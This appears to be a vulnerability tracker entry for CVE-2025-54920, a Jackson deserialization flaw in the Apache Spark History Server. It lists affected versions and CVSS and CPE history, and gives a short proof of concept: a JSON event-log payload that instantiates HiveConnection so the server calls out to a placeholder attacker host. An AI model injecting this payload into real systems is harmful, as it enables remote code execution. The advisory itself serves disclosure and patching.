CVE-2025-54920

Apache Spark: Spark History Server Code Execution Vulnerability

Published Mar 14, 2026 CVSS 3.1 · 8.8 High EPSS 6.3% KEV · Not listed
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.





Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.





Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.


The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.






Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:


{

"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}







3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.










Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Remediation

No solution or workaround provided in the CVE record

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
Github GHSA Github GHSA GHSA-jwp6-cvj8-fw65 Apache Spark: Spark History Server Code Execution Vulnerability
History
Type Values Removed Values Added
CPEs cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:*
cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*
Type Values Removed Values Added
Metrics cvssV3_1

{'score': 6.7, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L'}

ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

cvssV3_1

{'score': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}

Type Values Removed Values Added
Weaknesses CWE-94
References
Metrics threat_severity

None

cvssV3_1

{'score': 6.7, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L'}

threat_severity

Moderate

Type Values Removed Values Added
First Time appeared Apache
Apache spark
Vendors & Products Apache
Apache spark
Type Values Removed Values Added
Description This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Title Apache Spark: Spark History Server Code Execution Vulnerability
Weaknesses CWE-502
References
Weaknesses

Sources

Status
PUBLISHED
Assigner
apache
Published
Updated
Mar 17, 2026, 12:45 PM
Reserved
Aug 1, 2025, 1:09 AM
Status
Analyzed
Published
Mar 16, 2026, 2:17 PM
Modified
Jun 17, 2026, 9:40 AM
Severity
Moderate
Public date
Mar 14, 2026, 9:01 AM